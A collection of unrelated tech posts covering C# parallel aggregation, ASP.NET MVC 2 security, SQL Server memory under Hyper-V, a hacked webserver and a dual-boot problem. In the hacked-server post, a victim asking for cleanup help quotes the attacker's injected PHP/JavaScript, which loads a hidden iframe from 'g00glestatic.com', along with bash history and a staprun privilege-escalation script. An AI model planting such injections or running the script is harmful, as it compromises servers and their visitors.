may require synchronization, but now, instead of synchronizing once per element (potentially millions of times), you’ll only have to synchronize once per thread, which is an ideal situation. Now that I’ve explained how this works, lets look at the code: // Safe, and fast! double min = double.MaxValue; // Make a "lock" object object syncObject = new object(); Parallel.ForEach( collection, // First, we provide a local state initialization delegate. () => double.MaxValue, // Next, we supply the body, which takes the original item, loop state, // and local state, and returns a new local state (item, loopState, localState) => { double value = item.PerformComputation(); return System.Math.Min(localState, value); }, // Finally, we provide an Action<TLocal>, to "merge" results together localState => { // This requires locking, but it's only once per used thread lock(syncObj) min = System.Math.Min(min, localState); } ); Although this is a bit more complicated than the previous version, it is now both thread-safe, and has minimal locking.  This same approach can be used by Parallel.For, although now, it’s Parallel.For<TLocal>.  When working with Parallel.For<TLocal>, you use the same triplet of delegates, with the same purpose and results. Also, many times, you can completely avoid locking by using a method of the Interlocked class to perform the final aggregation in an atomic operation.  The MSDN example demonstrating this same technique using Parallel.For uses the Interlocked class instead of a lock, since they are doing a sum operation on a long variable, which is possible via Interlocked.Add. By taking advantage of local state, we can use the Parallel class methods to parallelize algorithms such as aggregation, which, at first, may seem like poor candidates for parallelization.  Doing so requires careful consideration, and often requires a slight redesign of the algorithm, but the performance gains can be significant if handled in a way to avoid excessive synchronization.

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• Securing an ASP.NET MVC 2 Application

  - by rajbk

  This post attempts to look at some of the methods that can be used to secure an ASP.NET MVC 2 Application called Northwind Traders Human Resources.  The sample code for the project is attached at the bottom of this post. We are going to use a slightly modified Northwind database. The screen capture from SQL server management studio shows the change. I added a new column called Salary, inserted some random salaries for the employees and then turned off AllowNulls.   The reporting relationship for Northwind Employees is shown below.   The requirements for our application are as follows: Employees can see their LastName, FirstName, Title, Address and Salary Employees are allowed to edit only their Address information Employees can see the LastName, FirstName, Title, Address and Salary of their immediate reports Employees cannot see records of non immediate reports.  Employees are allowed to edit only the Salary and Title information of their immediate reports. Employees are not allowed to edit the Address of an immediate report Employees should be authenticated into the system. Employees by default get the “Employee” role. If a user has direct reports, they will also get assigned a “Manager” role. We use a very basic empId/pwd scheme of EmployeeID (1-9) and password test$1. You should never do this in an actual application. The application should protect from Cross Site Request Forgery (CSRF). For example, Michael could trick Steven, who is already logged on to the HR website, to load a page which contains a malicious request. where without Steven’s knowledge, a form on the site posts information back to the Northwind HR website using Steven’s credentials. Michael could use this technique to give himself a raise :-) UI Notes The layout of our app looks like so: When Nancy (EmpID 1) signs on, she sees the default page with her details and is allowed to edit her address. If Nancy attempts to view the record of employee Andrew who has an employeeID of 2 (Employees/Edit/2), she will get a “Not Authorized” error page. When Andrew (EmpID 2) signs on, he can edit the address field of his record and change the title and salary of employees that directly report to him. Implementation Notes All controllers inherit from a BaseController. The BaseController currently only has error handling code. When a user signs on, we check to see if they are in a Manager role. We then create a FormsAuthenticationTicket, encrypt it (including the roles that the employee belongs to) and add it to a cookie. private void SetAuthenticationCookie(int employeeID, List<string> roles) { HttpCookiesSection cookieSection = (HttpCookiesSection) ConfigurationManager.GetSection("system.web/httpCookies"); AuthenticationSection authenticationSection = (AuthenticationSection) ConfigurationManager.GetSection("system.web/authentication"); FormsAuthenticationTicket authTicket = new FormsAuthenticationTicket( 1, employeeID.ToString(), DateTime.Now, DateTime.Now.AddMinutes(authenticationSection.Forms.Timeout.TotalMinutes), false, string.Join("|", roles.ToArray())); String encryptedTicket = FormsAuthentication.Encrypt(authTicket); HttpCookie authCookie = new HttpCookie(FormsAuthentication.FormsCookieName, encryptedTicket); if (cookieSection.RequireSSL || authenticationSection.Forms.RequireSSL) { authCookie.Secure = true; } HttpContext.Current.Response.Cookies.Add(authCookie); } We read this cookie back in Global.asax and set the Context.User to be a new GenericPrincipal with the roles we assigned earlier. protected void Application_AuthenticateRequest(Object sender, EventArgs e){ if (Context.User != null) { string cookieName = FormsAuthentication.FormsCookieName; HttpCookie authCookie = Context.Request.Cookies[cookieName]; if (authCookie == null) return; FormsAuthenticationTicket authTicket = FormsAuthentication.Decrypt(authCookie.Value); string[] roles = authTicket.UserData.Split(new char[] { '|' }); FormsIdentity fi = (FormsIdentity)(Context.User.Identity); Context.User = new System.Security.Principal.GenericPrincipal(fi, roles); }} We ensure that a user has permissions to view a record by creating a custom attribute AuthorizeToViewID that inherits from ActionFilterAttribute. public class AuthorizeToViewIDAttribute : ActionFilterAttribute{ IEmployeeRepository employeeRepository = new EmployeeRepository(); public override void OnActionExecuting(ActionExecutingContext filterContext) { if (filterContext.ActionParameters.ContainsKey("id") && filterContext.ActionParameters["id"] != null) { if (employeeRepository.IsAuthorizedToView((int)filterContext.ActionParameters["id"])) { return; } } throw new UnauthorizedAccessException("The record does not exist or you do not have permission to access it"); }} We add the AuthorizeToView attribute to any Action method that requires authorization. [HttpPost][Authorize(Order = 1)]//To prevent CSRF[ValidateAntiForgeryToken(Salt = Globals.EditSalt, Order = 2)]//See AuthorizeToViewIDAttribute class[AuthorizeToViewID(Order = 3)] [ActionName("Edit")]public ActionResult Update(int id){ var employeeToEdit = employeeRepository.GetEmployee(id); if (employeeToEdit != null) { //Employees can edit only their address //A manager can edit the title and salary of their subordinate string[] whiteList = (employeeToEdit.IsSubordinate) ? new string[] { "Title", "Salary" } : new string[] { "Address" }; if (TryUpdateModel(employeeToEdit, whiteList)) { employeeRepository.Save(employeeToEdit); return RedirectToAction("Details", new { id = id }); } else { ModelState.AddModelError("", "Please correct the following errors."); } } return View(employeeToEdit);} The Authorize attribute is added to ensure that only authorized users can execute that Action. We use the TryUpdateModel with a white list to ensure that (a) an employee is able to edit only their Address and (b) that a manager is able to edit only the Title and Salary of a subordinate. This works in conjunction with the AuthorizeToViewIDAttribute. The ValidateAntiForgeryToken attribute is added (with a salt) to avoid CSRF. The Order on the attributes specify the order in which the attributes are executed. The Edit View uses the AntiForgeryToken helper to render the hidden token: ......<% using (Html.BeginForm()) {%><%=Html.AntiForgeryToken(NorthwindHR.Models.Globals.EditSalt)%><%= Html.ValidationSummary(true, "Please correct the errors and try again.") %><div class="editor-label"> <%= Html.LabelFor(model => model.LastName) %></div><div class="editor-field">...... The application uses View specific models for ease of model binding. public class EmployeeViewModel{ public int EmployeeID; [Required] [DisplayName("Last Name")] public string LastName { get; set; } [Required] [DisplayName("First Name")] public string FirstName { get; set; } [Required] [DisplayName("Title")] public string Title { get; set; } [Required] [DisplayName("Address")] public string Address { get; set; } [Required] [DisplayName("Salary")] [Range(500, double.MaxValue)] public decimal Salary { get; set; } public bool IsSubordinate { get; set; }} To help with displaying readonly/editable fields, we use a helper method. //Simple extension method to display a TextboxFor or DisplayFor based on the isEditable variablepublic static MvcHtmlString TextBoxOrLabelFor<TModel, TProperty>(this HtmlHelper<TModel> htmlHelper, Expression<Func<TModel, TProperty>> expression, bool isEditable){ if (isEditable) { return htmlHelper.TextBoxFor(expression); } else { return htmlHelper.DisplayFor(expression); }} The helper method is used in the view like so: <%=Html.TextBoxOrLabelFor(model => model.Title, Model.IsSubordinate)%> As mentioned in this post, there is a much easier way to update properties on an object. Download Demo Project VS 2008, ASP.NET MVC 2 RTM Remember to change the connectionString to point to your Northwind DB NorthwindHR.zip Feedback and bugs are always welcome :-)

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• SQL Server and Hyper-V Dynamic Memory Part 2

  - by SQLOS Team

  Part 1 of this series was an introduction and overview of Hyper-V Dynamic Memory. This part looks at SQL Server memory management and how the SQL engine responds to changing OS memory conditions.   Part 2: SQL Server Memory Management As with any Windows process, sqlserver.exe has a virtual address space (VAS) of 4GB on 32-bit and 8TB in 64-bit editions. Pages in its VAS are mapped to pages in physical memory when the memory is committed and referenced for the first time. The collection of VAS pages that have been recently referenced is known as the Working Set. How and when SQL Server allocates virtual memory and grows its working set depends on the memory model it uses. SQL Server supports three basic memory models:   1. Conventional Memory Model   The Conventional model is the default SQL Server memory model and has the following properties: - Dynamic - can grow or shrink its working set in response to load and external (operating system) memory conditions. - OS uses 4K pages – (not to be confused with SQL Server “pages” which are 8K regions of committed memory).- Pageable - Can be paged out to disk by the operating system.   2. Locked Page Model The locked page memory model is set when SQL Server is started with "Lock Pages in Memory" privilege*. It has the following characteristics: - Dynamic - can grow or shrink its working set in the same way as the Conventional model.- OS uses 4K pages - Non-Pageable – When memory is committed it is locked in memory, meaning that it will remain backed by physical memory and will not be paged out by the operating system. A common misconception is to interpret "locked" as non-dynamic. A SQL Server instance using the locked page memory model will grow and shrink (allocate memory and release memory) in response to changing workload and OS memory conditions in the same way as it does with the conventional model.   This is an important consideration when we look at Hyper-V Dynamic Memory – “locked” memory works perfectly well with “dynamic” memory.   * Note in “Denali” (Standard Edition and above), and in SQL 2008 R2 64-bit (Enterprise and above editions) the Lock Pages in Memory privilege is all that is required to set this model. In 2008 R2 64-Bit standard edition it also requires trace flag 845 to be set, in 2008 R2 32-bit editions it requires sp_configure 'awe enabled' 1.   3. Large Page Model The Large page model is set using trace flag 834 and potentially offers a small performance boost for systems that are configured with large pages. It is characterized by: - Static - memory is allocated at startup and does not change. - OS uses large (>2MB) pages - Non-Pageable The large page model is supported with Hyper-V Dynamic Memory (and Hyper-V also supports large pages), but you get no benefit from using Dynamic Memory with this model since SQL Server memory does not grow or shrink. The rest of this article will focus on the locked and conventional SQL Server memory models.   When does SQL Server grow? For “dynamic” configurations (Conventional and Locked memory models), the sqlservr.exe process grows – allocates and commits memory from the OS – in response to a workload. As much memory is allocated as is required to optimally run the query and buffer data for future queries, subject to limitations imposed by:   - SQL Server max server memory setting. If this configuration option is set, the buffer pool is not allowed to grow to more than this value. In SQL Server 2008 this value represents single page allocations, and in “Denali” it represents any size page allocations and also managed CLR procedure allocations.   - Memory signals from OS. The operating system sets a signal on memory resource notification objects to indicate whether it has memory available or whether it is low on available memory. If there is only 32MB free for every 4GB of memory a low memory signal is set, which continues until 64MB/4GB is free. If there is 96MB/4GB free the operating system sets a high memory signal. SQL Server only allocates memory when the high memory signal is set.   To summarize, for SQL Server to grow you need three conditions: a workload, max server memory setting higher than the current allocation, high memory signals from the OS.    When does SQL Server shrink caches? SQL Server as a rule does not like to return memory to the OS, but it will shrink its caches in response to memory pressure. Memory pressure can be divided into “internal” and “external”.   - External memory pressure occurs when the operating system is running low on memory and low memory signals are set. The SQL Server Resource Monitor checks for low memory signals approximately every 5 seconds and it will attempt to free memory until the signals stop.   To free memory SQL Server does the following: ·         Frees unused memory. ·         Notifies Memory Manager Clients to release memory o   Caches – Free unreferenced cache objects. o   Buffer pool - Based on oldest access times.   The freed memory is released back to the operating system. This process continues until the low memory resource notifications stop.    - Internal memory pressure occurs when the size of different caches and allocations increase but the SQL Server process needs to keep its total memory within a target value. For example if max server memory is set and certain caches are growing large, it will cause SQL to free memory for re-use internally, but not to release memory back to the OS. If you lower the value of max server memory you will generate internal memory pressure that will cause SQL to release memory back to the OS.    Memory pressure handling has not changed much since SQL 2005 and it was described in detail in a blog post by Slava Oks.   Note that SQL Server Express is an exception to the above behavior. Unlike other editions it does not assume it is the most important process running on the system but tries to be more “desktop” friendly. It will empty its working set after a period of inactivity.   How does SQL Server respond to changing OS memory?    In SQL Server 2005 support for Hot-Add memory was introduced. This feature, available in Enterprise and above editions, allows the server to make use of any extra physical memory that was added after SQL Server started. Being able to add physical memory when the system is running is limited to specialized hardware, but with the Hyper-V Dynamic Memory feature, when new memory is allocated to a guest virtual machine, it looks like hot-add physical memory to the guest. What this means is that thanks to the hot-add memory feature, SQL Server 2005 and higher can dynamically grow if more “physical” memory is granted to a guest VM by Hyper-V dynamic memory.   SQL Server checks OS memory every second and dynamically adjusts its “target” (based on available OS memory and max server memory) accordingly.   In “Denali” Standard Edition will also have sqlserver.exe support for hot-add memory when running virtualized (i.e. detecting and acting on Hyper-V Dynamic Memory allocations).   How does a SQL Server workload in a guest VM impact Hyper-V dynamic memory scheduling?   When a SQL workload causes the sqlserver.exe process to grow its working set, the Hyper-V memory scheduler will detect memory pressure in the guest VM and add memory to it. SQL Server will then detect the extra memory and grow according to workload demand. In our tests we have seen this feedback process cause a guest VM to grow quickly in response to SQL workload - we are still working on characterizing this ramp-up.    How does SQL Server respond when Hyper-V removes memory from a guest VM through ballooning?   If pressure from other VM's cause Hyper-V Dynamic Memory to take memory away from a VM through ballooning (allocating memory with a virtual device driver and returning it to the host OS), Windows Memory Manager will page out unlocked portions of memory and signal low resource notification events. When SQL Server detects these events it will shrink memory until the low memory notifications stop (see cache shrinking description above).    This raises another question. Can we make SQL Server release memory more readily and hence behave more "dynamically" without compromising performance? In certain circumstances where the application workload is predictable it may be possible to have a job which varies "max server memory" according to need, lowering it when the engine is inactive and raising it before a period of activity. This would have limited applicaability but it is something we're looking into.   What Memory Management changes are there in SQL Server “Denali”?   In SQL Server “Denali” (aka SQL11) the Memory Manager has been re-written to be more efficient. The main changes are summarized in this post. An important change with respect to Hyper-V Dynamic Memory support is that now the max server memory setting includes any size page allocations and managed CLR procedure allocations it now represents a closer approximation to total sqlserver.exe memory usage. This makes it easier to calculate a value for max server memory, which becomes important when configuring virtual machines to work well with Hyper-V Dynamic Memory Startup and Maximum RAM settings.   Another important change is no more AWE or hot-add support for 32-bit edition. This means if you're running a 32-bit edition of Denali you're limited to a 4GB address space and will not be able to take advantage of dynamically added OS memory that wasn't present when SQL Server started (though Hyper-V Dynamic Memory is still a supported configuration).   In part 3 we’ll develop some best practices for configuring and using SQL Server with Dynamic Memory. Originally posted at http://blogs.msdn.com/b/sqlosteam/

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• Mass targeted malware installed - g00glestatic.com [closed]

  - by Silver89

  Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit... "; printf "install uprobes /bin/sh" > ololo.conf; MODPROBE_OPTIONS="-C ololo.conf" staprun -u ololo rm -f ololo.conf fi Other Noticeable Edits Any files that contain: ([.htaccess]|[index|header|footer].php|[*.js]) will have been modified and all system file and directory permissions will have been changed to: x--x--x My steps to remove this malware re uploaded original php/js files to revert any changes Changed all user passwords Modified hosts.allow to a static ip so that only I have access Removed the above 4 files and checked all modified file dates within that directory to check for any other recent modifications, none can be found Conclusion I'm hoping that as they did not have root access, any changes they wished to make higher up failed and they were only able to display an iframe on the site for a short amount of time? What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

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• Dual Boot issues with Windows 7 and Ubuntu

  - by Michael

  I'm finding myself in a rather unique situation. I've read through just about every resource I can find about this and while things have helped me understand some background, I haven't yet been able to find a solution. So I'm asking here. I originally had just a Windows 7 64-bit OS installation on my desktop. Learning that I couldn't do anything with Apache, PHP and MySql from within a 64-bit system, I did some research and found out that I could use Ubuntu. I've installed the latest version: 11.04. I created a CD to install Ubuntu from and the install went just fine. I installed it side-by-side with Windows 7. I can boot into Ubuntu just fine through the dual-boot option. When I reboot to load Windows though, the Grub2 list shows Windows 7 (loader) and when I select this option the Windows System Recovery loads instead of the actual OS. I haven't made it past there because I didn't know what to do. I just shut the computer down and rebooted into Ubuntu. I've been working for the last hour and a half to try to figure out how to boot into the Windows 7 OS and I haven't got a clue. While I'm somewhat proficient with Windows 7, I'm totally new to Ubuntu, so if you do know what needs to happen, please keep it simple enough that I'll be able to understand. Thanks for all your help in advance. Here's the results after using the Boot Info Script: Boot Info Script 0.55 dated February 15th, 2010 ============================= Boot Info Summary: ============================== => Grub 2 is installed in the MBR of /dev/sda and looks on the same drive in partition #5 for cbh. => Windows is installed in the MBR of /dev/sdb => Grub 2 is installed in the MBR of /dev/mapper/pdc_bdadcfbdif and looks on the same drive in partition #5 for cbh. sda1: _________________________________________________________________________ File system: ntfs Boot sector type: Windows Vista/7 Boot sector info: No errors found in the Boot Parameter Block. Mounting failed: fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy sda2: _________________________________________________________________________ File system: ntfs Boot sector type: Windows Vista/7 Boot sector info: No errors found in the Boot Parameter Block. Mounting failed: fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy sda3: _________________________________________________________________________ File system: ntfs Boot sector type: Windows Vista/7 Boot sector info: No errors found in the Boot Parameter Block. Mounting failed: fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy sdb1: _________________________________________________________________________ File system: ntfs Boot sector type: Windows Vista/7 Boot sector info: No errors found in the Boot Parameter Block. Operating System: Boot files/dirs: /bootmgr /Boot/BCD sdb2: _________________________________________________________________________ File system: ntfs Boot sector type: Windows Vista/7 Boot sector info: No errors found in the Boot Parameter Block. Operating System: Boot files/dirs: sdb3: _________________________________________________________________________ File system: ntfs Boot sector type: Windows Vista/7 Boot sector info: No errors found in the Boot Parameter Block. Operating System: Boot files/dirs: /bootmgr /boot/BCD sdb4: _________________________________________________________________________ File system: Extended Partition Boot sector type: - Boot sector info: sdb5: _________________________________________________________________________ File system: ext4 Boot sector type: - Boot sector info: Operating System: Ubuntu 11.04 Boot files/dirs: /boot/grub/grub.cfg /etc/fstab /boot/grub/core.img sdb6: _________________________________________________________________________ File system: swap Boot sector type: - Boot sector info: pdc_bdadcfbdif1: _________________________________________________________________________ File system: ntfs Boot sector type: Windows Vista/7 Boot sector info: No errors found in the Boot Parameter Block. Operating System: Boot files/dirs: /bootmgr /Boot/BCD pdc_bdadcfbdif2: _________________________________________________________________________ File system: ntfs Boot sector type: Windows Vista/7 Boot sector info: No errors found in the Boot Parameter Block. Operating System: Windows 7 Boot files/dirs: /bootmgr /Boot/BCD /Windows/System32/winload.exe pdc_bdadcfbdif3: _________________________________________________________________________ File system: Boot sector type: Unknown Boot sector info: Mounting failed: fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy fuse: mount failed: Device or resource busy mount: unknown filesystem type '' =========================== Drive/Partition Info: ============================= Drive: sda ___________________ _____________________________________________________ Disk /dev/sda: 750.2 GB, 750156374016 bytes 255 heads, 63 sectors/track, 91201 cylinders, total 1465149168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes Partition Boot Start End Size Id System /dev/sda1 * 2,048 206,847 204,800 7 HPFS/NTFS /dev/sda2 206,911 1,440,372,735 1,440,165,825 7 HPFS/NTFS /dev/sda3 1,440,372,736 1,464,856,575 24,483,840 7 HPFS/NTFS Drive: sdb ___________________ _____________________________________________________ Disk /dev/sdb: 1000.2 GB, 1000204886016 bytes 255 heads, 63 sectors/track, 121601 cylinders, total 1953525168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes Partition Boot Start End Size Id System /dev/sdb1 * 2,048 206,847 204,800 7 HPFS/NTFS /dev/sdb2 206,911 1,342,554,688 1,342,347,778 7 HPFS/NTFS /dev/sdb3 1,930,344,448 1,953,521,663 23,177,216 7 HPFS/NTFS /dev/sdb4 1,342,556,158 1,930,344,447 587,788,290 5 Extended /dev/sdb5 1,342,556,160 1,896,806,399 554,250,240 83 Linux /dev/sdb6 1,896,808,448 1,930,344,447 33,536,000 82 Linux swap / Solaris Drive: pdc_bdadcfbdif ___________________ _____________________________________________________ Disk /dev/mapper/pdc_bdadcfbdif: 750.0 GB, 749999947776 bytes 255 heads, 63 sectors/track, 91182 cylinders, total 1464843648 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes Partition Boot Start End Size Id System /dev/mapper/pdc_bdadcfbdif1 * 2,048 206,847 204,800 7 HPFS/NTFS /dev/mapper/pdc_bdadcfbdif2 206,911 1,440,372,735 1,440,165,825 7 HPFS/NTFS /dev/mapper/pdc_bdadcfbdif3 1,440,372,736 1,464,856,575 24,483,840 7 HPFS/NTFS /dev/mapper/pdc_bdadcfbdif3 ends after the last sector of /dev/mapper/pdc_bdadcfbdif blkid -c /dev/null: ____________________________________________________________ Device UUID TYPE LABEL /dev/mapper/pdc_bdadcfbdif1 888E54CC8E54B482 ntfs SYSTEM /dev/mapper/pdc_bdadcfbdif2 C2766BF6766BEA1D ntfs OS /dev/mapper/pdc_bdadcfbdif: PTTYPE="dos" /dev/sda1 888E54CC8E54B482 ntfs SYSTEM /dev/sda2 C2766BF6766BEA1D ntfs OS /dev/sda3 BE6CA31D6CA2CF87 ntfs HP_RECOVERY /dev/sda promise_fasttrack_raid_member /dev/sdb1 20B65685B6565B7C ntfs SYSTEM /dev/sdb2 B4467A314679F508 ntfs HP /dev/sdb3 6E10B7A410B77227 ntfs FACTORY_IMAGE /dev/sdb4: PTTYPE="dos" /dev/sdb5 266f9801-cf4f-4acc-affa-2092be035f0c ext4 /dev/sdb6 1df35749-a887-45ff-a3de-edd52239847d swap /dev/sdb: PTTYPE="dos" error: /dev/mapper/pdc_bdadcfbdif3: No such file or directory error: /dev/sdc: No medium found error: /dev/sdd: No medium found error: /dev/sde: No medium found error: /dev/sdf: No medium found error: /dev/sdg: No medium found ============================ "mount | grep ^/dev output: =========================== Device Mount_Point Type Options /dev/sdb5 / ext4 (rw,errors=remount-ro,commit=0) =========================== sdb5/boot/grub/grub.cfg: =========================== # # DO NOT EDIT THIS FILE # # It is automatically generated by grub-mkconfig using templates # from /etc/grub.d and settings from /etc/default/grub # ### BEGIN /etc/grub.d/00_header ### if [ -s $prefix/grubenv ]; then set have_grubenv=true load_env fi set default="0" if [ "${prev_saved_entry}" ]; then set saved_entry="${prev_saved_entry}" save_env saved_entry set prev_saved_entry= save_env prev_saved_entry set boot_once=true fi function savedefault { if [ -z "${boot_once}" ]; then saved_entry="${chosen}" save_env saved_entry fi } function recordfail { set recordfail=1 if [ -n "${have_grubenv}" ]; then if [ -z "${boot_once}" ]; then save_env recordfail; fi; fi } function load_video { insmod vbe insmod vga insmod video_bochs insmod video_cirrus } insmod part_msdos insmod ext2 set root='(/dev/sdb,msdos5)' search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c if loadfont /usr/share/grub/unicode.pf2 ; then set gfxmode=auto load_video insmod gfxterm fi terminal_output gfxterm insmod part_msdos insmod ext2 set root='(/dev/sdb,msdos5)' search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c set locale_dir=($root)/boot/grub/locale set lang=en_US insmod gettext if [ "${recordfail}" = 1 ]; then set timeout=-1 else set timeout=10 fi ### END /etc/grub.d/00_header ### ### BEGIN /etc/grub.d/05_debian_theme ### set menu_color_normal=white/black set menu_color_highlight=black/light-gray if background_color 44,0,30; then clear fi ### END /etc/grub.d/05_debian_theme ### ### BEGIN /etc/grub.d/10_linux ### if [ ${recordfail} != 1 ]; then if [ -e ${prefix}/gfxblacklist.txt ]; then if hwmatch ${prefix}/gfxblacklist.txt 3; then if [ ${match} = 0 ]; then set linux_gfx_mode=keep else set linux_gfx_mode=text fi else set linux_gfx_mode=text fi else set linux_gfx_mode=keep fi else set linux_gfx_mode=text fi export linux_gfx_mode if [ "$linux_gfx_mode" != "text" ]; then load_video; fi menuentry 'Ubuntu, with Linux 2.6.38-8-generic-pae' --class ubuntu --class gnu-linux --class gnu --class os { recordfail set gfxpayload=$linux_gfx_mode insmod part_msdos insmod ext2 set root='(/dev/sdb,msdos5)' search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c linux /boot/vmlinuz-2.6.38-8-generic-pae root=UUID=266f9801-cf4f-4acc- affa-2092be035f0c ro quiet splash vt.handoff=7 initrd /boot/initrd.img-2.6.38-8-generic-pae } menuentry 'Ubuntu, with Linux 2.6.38-8-generic-pae (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os { recordfail set gfxpayload=$linux_gfx_mode insmod part_msdos insmod ext2 set root='(/dev/sdb,msdos5)' search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c echo 'Loading Linux 2.6.38-8-generic-pae ...' linux /boot/vmlinuz-2.6.38-8-generic-pae root=UUID=266f9801-cf4f-4acc-affa-2092be035f0c ro single echo 'Loading initial ramdisk ...' initrd /boot/initrd.img-2.6.38-8-generic-pae } ### END /etc/grub.d/10_linux ### ### BEGIN /etc/grub.d/20_linux_xen ### ### END /etc/grub.d/20_linux_xen ### ### BEGIN /etc/grub.d/20_memtest86+ ### menuentry "Memory test (memtest86+)" { insmod part_msdos insmod ext2 set root='(/dev/sdb,msdos5)' search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c linux16 /boot/memtest86+.bin } menuentry "Memory test (memtest86+, serial console 115200)" { insmod part_msdos insmod ext2 set root='(/dev/sdb,msdos5)' search --no-floppy --fs-uuid --set=root 266f9801-cf4f-4acc-affa-2092be035f0c linux16 /boot/memtest86+.bin console=ttyS0,115200n8 } ### END /etc/grub.d/20_memtest86+ ### ### BEGIN /etc/grub.d/30_os-prober ### menuentry "Windows 7 (loader) (on /dev/sdb1)" --class windows --class os { insmod part_msdos insmod ntfs set root='(/dev/sdb,msdos1)' search --no-floppy --fs-uuid --set=root 20B65685B6565B7C chainloader +1 } menuentry "Windows Recovery Environment (loader) (on /dev/sdb3)" --class windows --class os { insmod part_msdos insmod ntfs set root='(/dev/sdb,msdos3)' search --no-floppy --fs-uuid --set=root 6E10B7A410B77227 drivemap -s (hd0) ${root} chainloader +1 } ### END /etc/grub.d/30_os-prober ### ### BEGIN /etc/grub.d/40_custom ### # This file provides an easy way to add custom menu entries. Simply type the # menu entries you want to add after this comment. Be careful not to change # the 'exec tail' line above. ### END /etc/grub.d/40_custom ### ### BEGIN /etc/grub.d/41_custom ### if [ -f $prefix/custom.cfg ]; then source $prefix/custom.cfg; fi ### END /etc/grub.d/41_custom ### =============================== sdb5/etc/fstab: =============================== # /etc/fstab: static file system information. # # Use 'blkid -o value -s UUID' to print the universally unique identifier # for a device; this may be used with UUID= as a more robust way to name # devices that works even if disks are added and removed. See fstab(5). # # <file system> <mount point> <type> <options> <dump> <pass> proc /proc proc nodev,noexec,nosuid 0 0 # / was on /dev/sdb5 during installation UUID=266f9801-cf4f-4acc-affa-2092be035f0c / ext4 errors=remount-ro 0 1 # swap was on /dev/sdb6 during installation UUID=1df35749-a887-45ff-a3de-edd52239847d none swap sw 0 0 =================== sdb5: Location of files loaded by Grub: =================== 900.1GB: boot/grub/core.img 825.0GB: boot/grub/grub.cfg 688.7GB: boot/initrd.img-2.6.38-8-generic-pae 688.0GB: boot/vmlinuz-2.6.38-8-generic-pae 